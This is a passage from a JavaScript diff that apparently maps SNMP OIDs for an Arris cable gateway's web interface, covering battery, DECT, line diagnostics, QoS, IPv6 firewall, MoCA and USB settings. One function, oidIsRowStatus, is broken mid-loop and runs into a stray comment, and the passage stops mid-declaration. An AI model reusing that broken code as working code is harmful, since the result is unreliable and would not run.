+MtaDevPwrSupplyStats.MtaDevPwrSupplyBatAvailableMinutes = new Scalar("MtaDevPwrSupplyBatAvailableMinutes", "1.3.6.1.4.1.4115.1.3.3.1.3.5.11", 2); +// scm ChengTa Lee x2 +MtaDevPwrSupplyStats.MtaDevPwrSupplyRatedBatCapacity = new Scalar("MtaDevPwrSupplyRatedBatCapacity", "1.3.6.1.4.1.4115.1.3.3.1.3.5.5", 2); +MtaDevPwrSupplyStats.MtaDevPwrSupplyTestedBatCapacity = new Scalar("MtaDevPwrSupplyTestedBatCapacity", "1.3.6.1.4.1.4115.1.3.3.1.3.5.6", 2); +// scm ChengTa Lee +var MtaDevTrace = new Container("MtaDevTrace", "1.3.6.1.4.1.4115.1.3.3.1.1.1.2"); +MtaDevTrace.MtaDevEstimatedMinutesRemaining = new Scalar("MtaDevEstimatedMinutesRemaining", "1.3.6.1.4.1.4115.1.3.3.1.1.1.2.44", 2); +MtaDevTrace.MtaDevEstimatedChargeRemaining = new Scalar("MtaDevEstimatedChargeRemaining", "1.3.6.1.4.1.4115.1.3.3.1.1.1.2.45", 2); +// scm ChengTa Lee x2 +var arrisMtaDevPwrSupplyRatedBatCapacity = MtaDevPwrSupplyStats.MtaDevPwrSupplyRatedBatCapacity; +var arrisMtaDevPwrSupplyTestedBatCapacity = MtaDevPwrSupplyStats.MtaDevPwrSupplyTestedBatCapacity; +var upsBatteryStatus = upsBattery.upsBatteryStatus; +var arMtaDevBatteryOperState = MtaDevBatteryStatusTable.MtaDevBatteryOperState; +var arMtaDevBatteryOperSubState = MtaDevBatteryStatusTable.MtaDevBatteryOperSubState; +var arMtaDevBatteryOrderingCode = MtaDevBatteryStatusTable.MtaDevBatteryOrderingCode; +var arMtaDevBatteryEprom = MtaDevBatteryStatusTable.MtaDevBatteryEprom; +var arMtaDevPwrSupplyBatRatedMinutes = MtaDevPwrSupplyStats.MtaDevPwrSupplyBatRatedMinutes; +var arMtaDevPwrSupplyBatAvailableMinutes = MtaDevPwrSupplyStats.MtaDevPwrSupplyBatAvailableMinutes; +var arMtaDevEstimatedMinutesRemaining = MtaDevTrace.MtaDevEstimatedMinutesRemaining; +var arMtaDevEstimatedChargeRemaining = MtaDevTrace.MtaDevEstimatedChargeRemaining; + +var DectConfiguration = new Container("arrisDectConfiguration", "1.3.6.1.4.1.4115.1.3.13.1"); +DectConfiguration.DectBaseStatus = new Scalar("arrisDectBaseStatus","1.3.6.1.4.1.4115.1.3.13.1.1",4,1); +DectConfiguration.DectBaseDectModuleHwVersion = new Scalar("arrisDectBaseDectModuleHwVersion","1.3.6.1.4.1.4115.1.3.13.1.2",4); +DectConfiguration.DectCfgFwVersion = new Scalar("arrisDectCfgFwVersion","1.3.6.1.4.1.4115.1.3.13.1.7",4); + +DectConfiguration.DectBaseRFPI = new Scalar("arrisDectBaseRFPI","1.3.6.1.4.1.4115.1.3.13.1.3",4); +DectConfiguration.DectCfgRegistrationMode = new Scalar("arrisDectCfgRegistrationMode","1.3.6.1.4.1.4115.1.3.13.1.4",2); +DectConfiguration.DectCfgPortInterfaceIndex = new Scalar("arDectCfgPortInterfaceIndex","1.3.6.1.4.1.4115.1.3.13.1.11",2); +// scm add start x2 +DectConfiguration.DectCatiqOnOff = new Scalar("arDectCatiqOnOff","1.3.6.1.4.1.4115.1.3.13.1.10",2); +DectConfiguration.DectBasePin = new Scalar("arDectBasePin","1.3.6.1.4.1.4115.1.3.13.1.5",4); +var arDectCatiqOnOff=DectConfiguration.DectCatiqOnOff; +var arDectBasePin=DectConfiguration.DectBasePin; +// scm add end +var arDectBaseStatus=DectConfiguration.DectBaseStatus; +var arDectBaseDectModuleHwVersion=DectConfiguration.DectBaseDectModuleHwVersion; +var arDectCfgFwVersion=DectConfiguration.DectCfgFwVersion; +var arDectBaseRFPI=DectConfiguration.DectBaseRFPI; +var arDectCfgRegistrationMode=DectConfiguration.DectCfgRegistrationMode; +var arDectCfgPortInterfaceIndex=DectConfiguration.DectCfgPortInterfaceIndex; + +var pktcMdiMdiTable = new Table("pktcMdiMdiTable", "1.3.6.1.4.1.4491.2.2.8.6.1.1"); +pktcMdiMdiTable.MdiMdiName = new Column("pktcMdiMdiName","1.3.6.1.4.1.4491.2.2.8.6.1.1.1.2",4); +var pktcMdiMdiName = pktcMdiMdiTable.MdiMdiName; + +// scm table +var pktcMdiNslPortListTable = new Table("pktcMdiNslPortListTable", "1.3.6.1.4.1.4491.2.2.8.6.1.2"); +pktcMdiNslPortListTable.pktcMdiNslPortListIn = new Column("pktcMdiNslPortListIn", "1.3.6.1.4.1.4491.2.2.8.6.1.2.1.3", 4); +var arpktcMdiNslPortListIn = pktcMdiNslPortListTable.pktcMdiNslPortListIn; +// scm container +var DectCfgPinBase = new Container("DectCfgPinBase", "1.3.6.1.4.1.4115.1.3.13.1"); +DectCfgPinBase.DectCfgPinCode = new Scalar("DectCfgPinCode","1.3.6.1.4.1.4115.1.3.13.1.5",4,1); +var arDectCfgPinCode = DectCfgPinBase.DectCfgPinCode; + +var DectCfgHsTable = new Table("arrisDectCfgHsTable", "1.3.6.1.4.1.4115.1.3.13.2"); +DectCfgHsTable.CfgHsRegisteredTn = new Column("arrisDectCfgHsRegisteredTn","1.3.6.1.4.1.4115.1.3.13.2.1.1",2); +DectCfgHsTable.CfgHsLastActivity = new Column("arrisDectCfgHsLastActivity","1.3.6.1.4.1.4115.1.3.13.2.1.2",2); +DectCfgHsTable.CfgHsDeregister = new Column("arrisDectCfgHsDeregister","1.3.6.1.4.1.4115.1.3.13.2.1.3",2); +DectCfgHsTable.CfgHsStatus = new Column("arrisDectCfgHsStatus","1.3.6.1.4.1.4115.1.3.13.2.1.4",2); +DectCfgHsTable.CfgHsName = new Column("arrisDectCfgHsName","1.3.6.1.4.1.4115.1.3.13.2.1.5",4); +var arDectCfgHsRegisteredTn = DectCfgHsTable.CfgHsRegisteredTn; +var arDectCfgHsLastActivity = DectCfgHsTable.CfgHsLastActivity; +var arDectCfgHsDeregister = DectCfgHsTable.CfgHsDeregister; +var arDectCfgHsStatus = DectCfgHsTable.CfgHsStatus; +var arDectCfgHsName = DectCfgHsTable.CfgHsName; + +var DectCfgMdiTable = new Table("arrisDectCfgHsTable", "1.3.6.1.4.1.4115.1.3.13.3"); +DectCfgMdiTable.DectCfgMdiToNsl = new Column("arrisDectCfgMdiToNsl","1.3.6.1.4.1.4115.1.3.13.3.1.1",66); +var arDectCfgMdiToNsl = DectCfgMdiTable.DectCfgMdiToNsl; + +var pktcDectPPTable = new Table("pktcDectPPTable", "1.3.6.1.4.1.4491.2.2.8.4.1.8"); +pktcDectPPTable.PPStatus = new Column("pktcDectPPStatus","1.3.6.1.4.1.4491.2.2.8.4.1.8.1.4",2); +pktcDectPPTable.PPRegCtrl = new Column("pktcDectPPRegCtrl","1.3.6.1.4.1.4491.2.2.8.4.1.8.1.5",2); +var pktcDectPPStatus = pktcDectPPTable.PPStatus; +var pktcDectPPRegCtrl = pktcDectPPTable.PPRegCtrl; + +// +// MTA > Line Diagnostics +// +var MtaDevDiagLoopTable = new Table("MtaDevDiagLoopTable", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1"); +MtaDevDiagLoopTable.MtaDevDiagLoopRequest = new Column("MtaDevDiagLoopRequest", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.3", 2); +MtaDevDiagLoopTable.MtaDevDiagLoopLastResult = new Column("MtaDevDiagLoopLastResult", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.4", 2); +MtaDevDiagLoopTable.MtaDevDiagLoopHazardousPotentialTest = new Column("MtaDevDiagLoopHazardousPotentialTest", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.5", 4); +MtaDevDiagLoopTable.MtaDevDiagLoopForeignEmfTest = new Column("MtaDevDiagLoopForeignEmfTest", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.6", 4); +MtaDevDiagLoopTable.MtaDevDiagLoopResistiveFaultsTest = new Column("MtaDevDiagLoopResistiveFaultsTest", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.7", 4); +MtaDevDiagLoopTable.MtaDevDiagLoopReceiverOffHookTest = new Column("MtaDevDiagLoopReceiverOffHookTest", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.8", 4); +MtaDevDiagLoopTable.MtaDevDiagLoopRingerTest = new Column("MtaDevDiagLoopRingerTest", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.9", 4); +MtaDevDiagLoopTable.MtaDevDiagLoopForceRequest = new Column("MtaDevDiagLoopForceRequest", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.10", 2); +var arMtaDevDiagLoopRequest = MtaDevDiagLoopTable.MtaDevDiagLoopRequest; +var arMtaDevDiagLoopLastResult = MtaDevDiagLoopTable.MtaDevDiagLoopLastResult; +var arMtaDevDiagLoopHazardousPotentialTest = MtaDevDiagLoopTable.MtaDevDiagLoopHazardousPotentialTest; +var arMtaDevDiagLoopForeignEmfTest = MtaDevDiagLoopTable.MtaDevDiagLoopForeignEmfTest; +var arMtaDevDiagLoopResistiveFaultsTest = MtaDevDiagLoopTable.MtaDevDiagLoopResistiveFaultsTest; +var arMtaDevDiagLoopReceiverOffHookTest = MtaDevDiagLoopTable.MtaDevDiagLoopReceiverOffHookTest; +var arMtaDevDiagLoopRingerTest = MtaDevDiagLoopTable.MtaDevDiagLoopRingerTest; +var arMtaDevDiagLoopForceRequest = MtaDevDiagLoopTable.MtaDevDiagLoopForceRequest; + + +// +// MTA > Service Flow +// +var docsQosServiceFlowTable = new Table("docsQosServiceFlowTable", "1.3.6.1.4.1.4491.2.1.21.1.3"); +//docsQosServiceFlowTable.SID = new Column("docsQosServiceFlowSID", "1.3.6.1.2.1.10.127.7.1.3.1.6", 66); +//docsQosServiceFlowTable.Direction = new Column("docsQosServiceFlowDirection", "1.3.6.1.2.1.10.127.7.1.3.1.7", 2); +docsQosServiceFlowTable.SID = new Column("docsQosServiceFlowSID", "1.3.6.1.4.1.4491.2.1.21.1.3.1.6", 66); +docsQosServiceFlowTable.Direction = new Column("docsQosServiceFlowDirection", "1.3.6.1.4.1.4491.2.1.21.1.3.1.7", 2); +var docsQosServiceFlowSID = docsQosServiceFlowTable.SID; +var docsQosServiceFlowDirection = docsQosServiceFlowTable.Direction; + +var docsQosParamSetTable = new Table("docsQosParamSetTable", "1.3.6.1.4.1.4491.2.1.21.1.2"); +//docsQosParamSetTable.SchedulingType = new Column("docsQosParamSetSchedulingType", "1.3.6.1.2.1.10.127.7.1.2.1.13", 2); +//docsQosParamSetTable.NomGrantInterval = new Column("docsQosParamSetNomGrantInterval", "1.3.6.1.2.1.10.127.7.1.2.1.18", 66); +//docsQosParamSetTable.UnsolicitGrantSize = new Column("docsQosParamSetUnsolicitGrantSize", "1.3.6.1.2.1.10.127.7.1.2.1.17", 2); +//docsQosParamSetTable.TolGrantJitter = new Column("docsQosParamSetTolGrantJitter", "1.3.6.1.2.1.10.127.7.1.2.1.19", 66); +//docsQosParamSetTable.NomPollInterval = new Column("docsQosParamSetNomPollInterval", "1.3.6.1.2.1.10.127.7.1.2.1.15", 66); +//docsQosParamSetTable.MinReservedPkt = new Column("docsQosParamSetMinReservedPkt", "1.3.6.1.2.1.10.127.7.1.2.1.9", 2); +//docsQosParamSetTable.MaxTrafficRate = new Column("docsQosParamSetMaxTrafficRate", "1.3.6.1.2.1.10.127.7.1.2.1.6", 66); +//docsQosParamSetTable.MinReservedRate = new Column("docsQosParamSetMinReservedRate", "1.3.6.1.2.1.10.127.7.1.2.1.8", 66); +//docsQosParamSetTable.MaxTrafficBurst = new Column("docsQosParamSetMaxTrafficBurst", "1.3.6.1.2.1.10.127.7.1.2.1.7", 66); +docsQosParamSetTable.SchedulingType = new Column("docsQosParamSetSchedulingType", "1.3.6.1.4.1.4491.2.1.21.1.2.1.13", 2); +docsQosParamSetTable.NomGrantInterval = new Column("docsQosParamSetNomGrantInterval", "1.3.6.1.4.1.4491.2.1.21.1.2.1.17", 66); +docsQosParamSetTable.UnsolicitGrantSize = new Column("docsQosParamSetUnsolicitGrantSize", "1.3.6.1.4.1.4491.2.1.21.1.2.1.16", 2); +docsQosParamSetTable.TolGrantJitter = new Column("docsQosParamSetTolGrantJitter", "1.3.6.1.4.1.4491.2.1.21.1.2.1.18", 66); +docsQosParamSetTable.NomPollInterval = new Column("docsQosParamSetNomPollInterval", "1.3.6.1.4.1.4491.2.1.21.1.2.1.14", 66); +docsQosParamSetTable.MinReservedPkt = new Column("docsQosParamSetMinReservedPkt", "1.3.6.1.4.1.4491.2.1.21.1.2.1.9", 2); +docsQosParamSetTable.MaxTrafficRate = new Column("docsQosParamSetMaxTrafficRate", "1.3.6.1.4.1.4491.2.1.21.1.2.1.6", 66); +docsQosParamSetTable.MinReservedRate = new Column("docsQosParamSetMinReservedRate", "1.3.6.1.4.1.4491.2.1.21.1.2.1.8", 66); +docsQosParamSetTable.MaxTrafficBurst = new Column("docsQosParamSetMaxTrafficBurst", "1.3.6.1.4.1.4491.2.1.21.1.2.1.7", 66); +var docsQosParamSetSchedulingType = docsQosParamSetTable.SchedulingType; +var docsQosParamSetNomGrantInterval = docsQosParamSetTable.NomGrantInterval; +var docsQosParamSetUnsolicitGrantSize = docsQosParamSetTable.UnsolicitGrantSize; +var docsQosParamSetTolGrantJitter = docsQosParamSetTable.TolGrantJitter; +var docsQosParamSetNomPollInterval = docsQosParamSetTable.NomPollInterval; +var docsQosParamSetMinReservedPkt = docsQosParamSetTable.MinReservedPkt; +var docsQosParamSetMaxTrafficRate = docsQosParamSetTable.MaxTrafficRate; +var docsQosParamSetMinReservedRate = docsQosParamSetTable.MinReservedRate; +var docsQosParamSetMaxTrafficBurst = docsQosParamSetTable.MaxTrafficBurst; + + +// +// CallP / QoS +// +var MtaDevLineCardTable = new Table("MtaDevLineCardTable", "1.3.6.1.4.1.4115.1.3.3.1.4.1"); +MtaDevLineCardTable.State = new Column("MtaDevLineCardState", "1.3.6.1.4.1.4115.1.3.3.1.4.1.1.2", 2); +var arMtaDevLineCardState = MtaDevLineCardTable.State; + +var ppCfgPortTable = new Table("ppCfgPortTable", "1.3.6.1.4.1.4115.10.1.1"); +ppCfgPortTable.LoopCurrent = new Column("ppCfgPortLoopCurrent", "1.3.6.1.4.1.4115.10.1.1.1.6", 2); +var ppCfgPortLoopCurrent = ppCfgPortTable.LoopCurrent; + +var MtaDevOperationalSetup = new Container("MtaDevOperationalSetup", "1.3.6.1.4.1.4115.1.3.3.1.2.3"); +MtaDevOperationalSetup.EnableMGCPLog = new Scalar("MtaDevOperationalSetupEnableMGCPLog", "1.3.6.1.4.1.4115.1.3.3.1.2.3.34", 2); +MtaDevOperationalSetup.ClearMGCPLog = new Scalar("MtaDevOperationalSetupClearMGCPLog", "1.3.6.1.4.1.4115.1.3.3.1.2.3.36", 2); +var arMtaDevOperationalSetupEnableMGCPLog = MtaDevOperationalSetup.EnableMGCPLog; +var arMtaDevOperationalSetupClearMGCPLog = MtaDevOperationalSetup.ClearMGCPLog; + +var MtaDevEndPnt = new Table("MtaDevEndPnt", "1.3.6.1.4.1.4115.1.3.3.1.2.4.3"); +MtaDevEndPnt.CallPState = new Column("MtaDevEndPntCallPState", "1.3.6.1.4.1.4115.1.3.3.1.2.4.3.1.37", 2); +var arMtaDevEndPntCallPState = MtaDevEndPnt.CallPState; + +var MtaDispSignal = new Table("MtaDispSignal", "1.3.6.1.4.1.4115.1.3.3.1.5.1"); +MtaDispSignal.Log = new Column("MtaDispSignalLog", "1.3.6.1.4.1.4115.1.3.3.1.5.1.1.2", 4); +var arMtaDispSignalLog = MtaDispSignal.Log; + +var MtadocsQosService = new Table("MtadocsQosService", "1.3.6.1.4.1.4115.1.3.3.1.6.1"); +MtadocsQosService.FlowID = new Column("MtadocsQosServiceFlowID", "1.3.6.1.4.1.4115.1.3.3.1.6.1.1.2", 2); +MtadocsQosService.ClassName = new Column("MtadocsQosServiceClassName", "1.3.6.1.4.1.4115.1.3.3.1.6.1.1.3", 4); +MtadocsQosService.FlowDirection = new Column("MtadocsQosServiceFlowDirection", "1.3.6.1.4.1.4115.1.3.3.1.6.1.1.4", 4); +MtadocsQosService.PrimaryFlow = new Column("MtadocsQosServicePrimaryFlow", "1.3.6.1.4.1.4115.1.3.3.1.6.1.1.5", 4); +MtadocsQosService.TrafficType = new Column("MtadocsQosServiceTrafficType", "1.3.6.1.4.1.4115.1.3.3.1.6.1.1.6", 4); +MtadocsQosService.ServicePackets = new Column("MtadocsQosServiceServicePackets", "1.3.6.1.4.1.4115.1.3.3.1.6.1.1.7", 2); +var arMtadocsQosServiceFlowID = MtadocsQosService.FlowID; +var arMtadocsQosServiceClassName = MtadocsQosService.ClassName; +var arMtadocsQosServiceFlowDirection = MtadocsQosService.FlowDirection; +var arMtadocsQosServicePrimaryFlow = MtadocsQosService.PrimaryFlow; +var arMtadocsQosServiceTrafficType = MtadocsQosService.TrafficType; +var arMtadocsQosServiceServicePackets = MtadocsQosService.ServicePackets; + +var MtadocsQosShowDsxLog = new Table("MtadocsQosShowDsxLog", "1.3.6.1.4.1.4115.1.3.3.1.6.4"); +MtadocsQosShowDsxLog.ShowDsxLog = new Column("MtadocsQosShowDsxLogShowDsxLog", "1.3.6.1.4.1.4115.1.3.3.1.6.4.1.2", 4); +var arMtadocsQosShowDsxLogShowDsxLog = MtadocsQosShowDsxLog.ShowDsxLog; + +var MtadocsQosServiceContainer = new Container("MtadocsQosServiceContainer", "1.3.6.1.4.1.4115.1.3.3.1.6"); +MtadocsQosServiceContainer.DisableLoggin = new Scalar("MtadocsQosServiceContainerDisableLoggin", "1.3.6.1.4.1.4115.1.3.3.1.6.2", 2); +MtadocsQosServiceContainer.LogClear = new Scalar("MtadocsQosServiceContainerLogClear", "1.3.6.1.4.1.4115.1.3.3.1.6.3", 2); +var arMtadocsQosServiceContainerDisableLoggin = MtadocsQosServiceContainer.DisableLoggin; +var arMtadocsQosServiceContainerLogClear = MtadocsQosServiceContainer.LogClear; + + +// +// VQM +// +var MtaDevVqm = new Container("MtaDevVqm", "1.3.6.1.4.1.4115.1.3.3.1.1.1.4"); +MtaDevVqm.Line = new Scalar("MtaDevVqmLine", "1.3.6.1.4.1.4115.1.3.3.1.1.1.4.1", 2); +MtaDevVqm.Clear = new Scalar("MtaDevVqmClear", "1.3.6.1.4.1.4115.1.3.3.1.1.1.4.2", 2); +MtaDevVqm.CallNumberIdentifier = new Scalar("MtaDevVqmCallNumberIdentifier", "1.3.6.1.4.1.4115.1.3.3.1.1.1.4.5", 2); +var arMtaDevVqmLine = MtaDevVqm.Line; +var arMtaDevVqmClear = MtaDevVqm.Clear; +var arMtaDevVqmCallNumberIdentifier = MtaDevVqm.CallNumberIdentifier; + +var MtaDevVqmCallNumberTable = new Table("MtaDevVqmCallNumberTable", "1.3.6.1.4.1.4115.1.3.3.1.1.1.4.4"); +MtaDevVqmCallNumberTable.CallNumberIds = new Column("MtaDevVqmCallNumberIds", "1.3.6.1.4.1.4115.1.3.3.1.1.1.4.4.1.2", 4); +var arMtaDevVqmCallNumberIds = MtaDevVqmCallNumberTable.CallNumberIds; + +var MtaDevVqmMetricTable = new Table("MtaDevVqmMetricTable", "1.3.6.1.4.1.4115.1.3.3.1.1.1.4.6"); +MtaDevVqmMetricTable.MtaDevVqmMetricValues = new Column("MtaDevVqmMetricValues", "1.3.6.1.4.1.4115.1.3.3.1.1.1.4.6.1.2", 4); +var arMtaDevVqmMetricValues = MtaDevVqmMetricTable.MtaDevVqmMetricValues; + +//software.php +var CmDoc30EsaftFWTable = new Table("CmDoc30EsaftFWTable", "1.3.6.1.4.1.4115.1.3.4.1.6.1.1"); +CmDoc30EsaftFWTable.FwCurrentFileName = new Column("FwCurrentFileName","1.3.6.1.4.1.4115.1.3.4.1.6.1.1.1.8",4); +var arFwCurrentFileName=CmDoc30EsaftFWTable.FwCurrentFileName; + + +if (window["preWalk"]) { + var foo = []; + _.each(container, function(v) { + foo.push(window[v.name]); + }); + _.each(table, function(v) { + foo.push(window[v.name]); + }); + load.apply(this, foo); +} + + +function dumpInC() { + function dumpOneInC(o) { + $.log("\"" + o.oid + ".\",\"" + o.name + "\","); + } + + _.each(container, function(v) { + _.each(v.children, function(v) { + dumpOneInC(v); + }); + }); + _.each(table, function(v) { + _.each(v.children, function(v) { + dumpOneInC(v); + }); + }); + +} + +var rowStatusCols = [ + arWanStaticDNSRowStatus, + arLanDNSRowStatus, + arLanClientRowStatus, + arDeviceUpDownStatus, + arLanCustomRowStatus, + arWEP64BitKeyStatus, + arWEP128BitKeyStatus, + arMACAccessStatus, + arWDSBridgeStatus, + arFWVirtSrvRowStatus, + arFWIPFilterRowStatus, + arFWMACFilterRowStatus, + arFWPortTrigRowStatus, + arKeywordBlkStatus, + arBlackListStatus, + arWhiteListStatus, + arTrustedDeviceStatus, + arSNTPServerStatus, + arLanStaticClientRowStatus + //, arWebAccessRowStatus not needed since we don't create and I have seen some problems + // arWebAccessRowStatus +]; + +function oidIsRowStatus(oid) { + for (var i=0; i IPv6 ChengDa Lee + + + + + + +var FWCfgv6 = new Container("FWCfgv6", "1.3.6.1.4.1.4115.1.20.1.1.4.40"); +/*FWCfgv6.FWv6Enabled= new Scalar("FWv6Enabled","1.3.6.1.4.1.4115.1.20.1.1.459.1",2); +FWCfgv6.FWv6SecurityLevel= new Scalar("FWv6SecurityLevel","1.3.6.1.4.1.4115.1.20.1.1.459.9",2); +FWCfgv6.FWv6ResetDefaults= new Scalar("FWv6ResetDefaults","1.3.6.1.4.1.4115.1.20.1.1.459.22",2); +FWCfgv6.FWv6BlockHTTP= new Scalar("FWv6BlockHTTP","1.3.6.1.4.1.4115.1.20.1.1.459.23",2); +FWCfgv6.FWv6BlockP2P= new Scalar("FWv6BlockP2P","1.3.6.1.4.1.4115.1.20.1.1.459.24",2); +FWCfgv6.FWv6BlockIdent= new Scalar("FWv6BlockIdent","1.3.6.1.4.1.4115.1.20.1.1.459.25",2); +FWCfgv6.FWv6BlockICMP= new Scalar("FWv6BlockICMP","1.3.6.1.4.1.4115.1.20.1.1.459.26",2); +FWCfgv6.FWv6BlockMulticast= new Scalar("FWv6BlockMulticast","1.3.6.1.4.1.4115.1.20.1.1.459.27",2); +*/ +/*var arFWv6Enabled=FWCfgv6.FWv6Enabled; +var arFWv6SecurityLevel=FWCfgv6.FWv6SecurityLevel; +var arFWv6ResetDefaults=FWCfgv6.FWv6ResetDefaults; +var arFWv6BlockHTTP=FWCfgv6.FWv6BlockHTTP; +var arFWv6BlockP2P=FWCfgv6.FWv6BlockP2P; +var arFWv6BlockIdent=FWCfgv6.FWv6BlockIdent; +var arFWv6BlockICMP=FWCfgv6.FWv6BlockICMP; +var arrisRouterFWIPv6Enable=FWCfgv6.FWv6BlockMulticast; +*/ +FWCfgv6.FWIPv6SecurityLevel = new Scalar("FWIPv6SecurityLevel", "1.3.6.1.4.1.4115.1.20.1.1.4.40.1", 2); +FWCfgv6.FWIPv6BlockHTTP = new Scalar("FWIPv6BlockHTTP", "1.3.6.1.4.1.4115.1.20.1.1.4.40.2", 2); +FWCfgv6.FWIPv6BlockICMP = new Scalar("FWIPv6BlockICMP", "1.3.6.1.4.1.4115.1.20.1.1.4.40.3", 2); +FWCfgv6.FWIPv6BlockMulticast = new Scalar("FWIPv6BlockMulticast","1.3.6.1.4.1.4115.1.20.1.1.4.40.4", 2); +FWCfgv6.FWIPv6BlockP2P = new Scalar("FWIPv6BlockP2P", "1.3.6.1.4.1.4115.1.20.1.1.4.40.5", 2); +FWCfgv6.FWIPv6BlockIDENT = new Scalar("FWIPv6BlockIDENT", "1.3.6.1.4.1.4115.1.20.1.1.4.40.6", 2); +FWCfgv6.FWIPv6Enable = new Scalar("FWIPv6Enable", "1.3.6.1.4.1.4115.1.20.1.1.4.40.7", 2); +FWCfgv6.FWIPv6ResetDefaults = new Scalar("FWIPv6ResetDefaults", "1.3.6.1.4.1.4115.1.20.1.1.4.40.8", 2); + +var arrisRouterFWIPv6SecurityLevel =FWCfgv6.FWIPv6SecurityLevel; +var arrisRouterFWIPv6BlockHTTP =FWCfgv6.FWIPv6BlockHTTP ; +var arrisRouterFWIPv6BlockICMP =FWCfgv6.FWIPv6BlockICMP ; +var arrisRouterFWIPv6BlockMulticast =FWCfgv6.FWIPv6BlockMulticast ; +var arrisRouterFWIPv6BlockP2P =FWCfgv6.FWIPv6BlockP2P ; +var arrisRouterFWIPv6BlockIDENT =FWCfgv6.FWIPv6BlockIDENT ; +var arrisRouterFWIPv6Enable =FWCfgv6.FWIPv6Enable ; +var arrisRouterFWIPv6ResetDefaults =FWCfgv6.FWIPv6ResetDefaults ; + +//Software +var mib2system2 = new Container("mib2system2", "1.3.6.1.4.1.4115.1.3.4.1.460"); +mib2system2.SoftwareImageName = new Scalar("SoftwareImageName","1.3.6.1.4.1.4115.1.3.4.1.460.1",2); +mib2system2.AdvancedServices = new Scalar("AdvancedServices","1.3.6.1.4.1.4115.1.3.4.1.460.2",2); +var mib2system2SoftwareImageName = mib2system2.SoftwareImageName; +var mib2system2AdvancedServices = mib2system2.AdvancedServices; + +//battery +var MtaDevBatteryStatusTable2 = new Table("MtaDevBatteryStatusTable2", "1.3.6.1.4.1.4115.1.3.3.1.3.5.461"); +MtaDevBatteryStatusTable2.MtaDevBatteryCondition = new Column("MtaDevBatteryCondition", "1.3.6.1.4.1.4115.1.3.3.1.3.5.461.1.2", 2); +MtaDevBatteryStatusTable2.MtaDevNumberofCycles = new Column("MtaDevNumberofCycles", "1.3.6.1.4.1.4115.1.3.3.1.3.5.461.1.5", 2); +var arMtaDevBatteryCondition = MtaDevBatteryStatusTable2.MtaDevBatteryCondition; +var arMtaDevNumberofCycles = MtaDevBatteryStatusTable2.MtaDevNumberofCycles; + +var MtaDevBatteryStatus = new Container("MtaDevBatteryStatus", "1.3.6.1.4.1.4115.1.3.3.1.3.5"); +MtaDevBatteryStatus.MtaDevTotalCapacity = new Scalar("MtaDevTotalCapacity","1.3.6.1.4.1.4115.1.3.3.1.3.5.5",2); +MtaDevBatteryStatus.MtaDevActualCapacity = new Scalar("MtaDevActualCapacity","1.3.6.1.4.1.4115.1.3.3.1.3.5.6",2); +var mib2MtaDevTotalCapacity = MtaDevBatteryStatus.MtaDevTotalCapacity; +var mib2MtaDevActualCapacity = MtaDevBatteryStatus.MtaDevActualCapacity; + +//remote management +var cmDocExtendCmParamterTable = new Table("cmDocExtendCmParamterTable", "1.3.6.1.4.1.4115.1.3.4.1.8.7"); +cmDocExtendCmParamterTable.CmParamterType = new Column("CmParamterType","1.3.6.1.4.1.4115.1.3.4.1.8.7.1.2",2); +cmDocExtendCmParamterTable.CmParamterIpAddress = new Column("CmParamterIpAddress","1.3.6.1.4.1.4115.1.3.4.1.8.7.1.3",4); +var arCmParamterType=cmDocExtendCmParamterTable.CmParamterType; +var arCmParamterIpAddress=cmDocExtendCmParamterTable.CmParamterIpAddress; + +//moca +var ArrisMoCAMib = new Container("ArrisMoCAMib", "1.3.6.1.4.1.4115.1.21"); +ArrisMoCAMib.MoCAApplySettings= new Scalar("MoCAApplySettings","1.3.6.1.4.1.4115.1.21.2",2); +var arMoCAApplySettings=ArrisMoCAMib.MoCAApplySettings; + +var mocaConfigation = new Container("mocaConfigation", "1.3.6.1.4.1.4115.1.21.1"); +mocaConfigation.ChanncelSetMethod = new Scalar("ChanncelSetMethod","1.3.6.1.4.1.4115.1.21.1.1",2); +mocaConfigation.TabooChanncel = new Scalar("TabooChanncel","1.3.6.1.4.1.4115.1.21.1.4",66); +mocaConfigation.mocaChanncelMark = new Scalar("mocaChanncelMark","1.3.6.1.4.1.4115.1.21.1.2",66); +mocaConfigation.mocaLOF = new Scalar("mocaLOF","1.3.6.1.4.1.4115.1.21.1.5",2); +mocaConfigation.mocaPrimchnoff = new Scalar("mocaPrimchnoff","1.3.6.1.4.1.4115.1.21.1.6",2); + +var arChanncelSetMethod = mocaConfigation.ChanncelSetMethod; +var arTabooChanncel = mocaConfigation.TabooChanncel; +var armocaChanncelMark = mocaConfigation.mocaChanncelMark; +var armocaLOF = mocaConfigation.mocaLOF; +var armocaPrimchnoff = mocaConfigation.mocaPrimchnoff; + + +//Gateway > Hardware > LAN Ethernet +//var mib2interface2 = new Container("mib2interface2", "1.3.6.1.2.1.2.2.1.5.4.462"); +//mib2interface2.ifPort4Enable = new Scalar("ifPort4Enable","1.3.6.1.2.1.2.2.1.5.4.462.1",2); +//var arifPort4Enable = mib2interface2.ifPort4Enable; + +//Gateway > Hardware > USB : port 1/port 2 +var mib2interfaceUSB = new Container("mib2interfaceUSB", "1.3.6.1.4.1.4.2.1.5.4.463"); +mib2interfaceUSB.USB1status= new Scalar("USB1status","1.3.6.1.4.1.4.2.1.5.4.463.1"); +mib2interfaceUSB.USB1Desc= new Scalar("USB1Desc", "1.3.6.1.4.1.4.2.1.5.4.463.2"); +mib2interfaceUSB.USB1SN= new Scalar("USB1SN", "1.3.6.1.4.1.4.2.1.5.4.463.3"); +mib2interfaceUSB.USB1Speed= new Scalar("USB1Speed","1.3.6.1.4.1.4.2.1.5.4.463.4"); +mib2interfaceUSB.USB1Manufacturer= new Scalar("USB1Manufacturer","1.3.6.1.4.1.4.2.1.5.4.463.5"); +var arUSB1status=mib2interfaceUSB.USB1status; +var arUSB1Desc=mib2interfaceUSB.USB1Desc; +var arUSB1SN=mib2interfaceUSB.USB1SN; +var arUSB1Speed=mib2interfaceUSB.USB1Speed; +var arUSB1Manufacturer=mib2interfaceUSB.USB1Manufacturer; + +//Connected Devices > Network Storage, NetworkStorage +var MtaDevBatteryStatusTable2 